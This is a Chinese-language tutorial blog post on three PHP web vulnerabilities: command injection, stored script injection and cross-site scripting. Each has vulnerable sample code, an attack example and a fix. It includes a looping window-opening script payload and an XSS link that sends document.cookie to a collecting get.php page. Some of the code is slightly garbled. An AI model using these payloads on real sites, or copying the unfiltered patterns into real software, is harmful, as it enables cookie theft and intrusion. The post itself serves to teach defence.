前言
本文章纯属原创,部分例子和分类来源于一些辅导书,写的不好或者不正确请指出,我是小小菜鸟,请勿乱喷
PHP,是英文的超级文本预处理语言Hypertext Preprocessor的缩写。PHP 是一种 HTML 内嵌式的语言,是一种在服务器端执行的嵌入HTML文档的脚本语言,语言的风格有类似于C语言,被广泛的运用。在各种大小型网站脚本语言中逐渐运用广泛,所以讨论下php的一些比较主要的漏洞很重要。
第一、Command injection(命令注入)
Php的一些函数比如:system、exec、passthru、shell_exec和“"”运行符会执行外部的命令,从而导致输出,所以可以利用这一点输入系统命令进行进攻。
这段代码:
<?php
$dir = $_GET["dir"];
if(isset($dir))
{
echo "<pre>";
system("dir".$dir);
echo "</pre>";
}
?>
如果有恶意者在URL地址栏后加上.php?dir=F:\www,则能显示出文件夹目录下得文件的名字。如上的漏洞如果:1.使用escapeshellarg函数处理命令的参数,会将“'”、“"”、“;”会分别在符号前面用斜杠代替。2.用safe_mode_exec_dir函数指定可执行的文件路径。可以防范这个漏洞的影响。
第二、scrpt insertion(客户端脚本植入)
客户端脚本注入攻击就是讲可以执行的脚本加载在对象内,然后当用户留言或者打开这些被加载的对象后,就会执行这些恶意脚本。
我觉得这个漏洞或者很多漏洞造成的主要原因就是输入或者输出没有进行过滤或者检测,导致漏洞的出现和被利用。
比如这段代码:
<form method = "post" name = "form1" id = "form1" action = "2.php">
标题 <input name = "subject" type = "text" value = "" size = "60" />
姓名 <input name = "name" type = "text" id = "name" size = "20" />
电子信箱 <input name = "email" type = "text" id = "email" size = "25" />
问题 <textarea name = "question" cols = "60" rows = "4" id = "question"></textarea>
<input type = "submit" name = "insert" id = "insert" value = "确认" />
<input type = "button" name = "cancle" id = "cancle" value = "取消" />
当这个网页中有一个留言板,当用户提交留言后则执行2.php文件
Php文件代码如下:
<?php
if(isset($_POST["insert"]))
{
echo "标题:".$_POST["subject"]."<br/>";
echo "姓名:".$_POST["name"]."<br/>";
echo "电子信箱:".$_POST["email"]."<br/>";
echo "问题:".nl2br($_POST["question"])."<br/>";
}
?>
这个没有任何过滤输出用户提交的内容,如果有人在留言板中提交代码:<script>while(1){window.open);}</script>,当单击提交的时候这段内容会被保存到MYSQL数据库中,其他用户访问的时候将不断在本地打开新窗口耗尽计算机内存资源。
甚至可以在留言板中输入一段javascript代码使访问者自动跳转到一些黑客恶意的网站。
以上的漏洞完全可以在输出的时候用htmlspecialchars( )函数进行过滤,会将一些特殊的字符转换成HTML字符码。
第三、Corss site scripting(跨网站脚本)
跨网站脚本攻击是恶意者通过Web来发送一些脚本给用户,其实我觉得这个漏洞和第二个客户端脚本植入相仿,所以我列下XSS跨站比较典型的例子——存取cookie等隐私信息。
如下代码:
if($match_count)
{
setcookie("username",$_POST["username"],time()+30*24*60*60);
setcookie("password",$_POST["password"],time()+30*24*60*60);
mysql_free_result($result);
mysql_close($link);
header("Location:http://www.xxx.com/2.php?user=".$_POST["username"]);
}
else
{
header("Location:http://".$_SERVER["HTT_HOST"].$_SERVER["SCRIPT_NAME"]);
}
这段代码是一个php连接数据库的代码,其中当连接并且判断成功以后将转到2.php,其有漏洞的代码为
<?php echo $_GET["user"];?>,这段代码还是没有进行任何过滤。于是可以将HTTP链接发送给用户,用社会工程学或者其他方法让该用户点击<ahref="http://localhost/2.php?user=<script>document.location='http://localhost/get.php?cookie='%2Bdocument.cookie;</script>"></a>则显示出得就是该用户的cookie值。
以上的这个漏洞的防范不仅仅可以用htmlspecialchars( )函数进行过滤以外,还可以这样做:如果表单的数据是发给同一个网站做处理的话,可以将action的属性设置为空。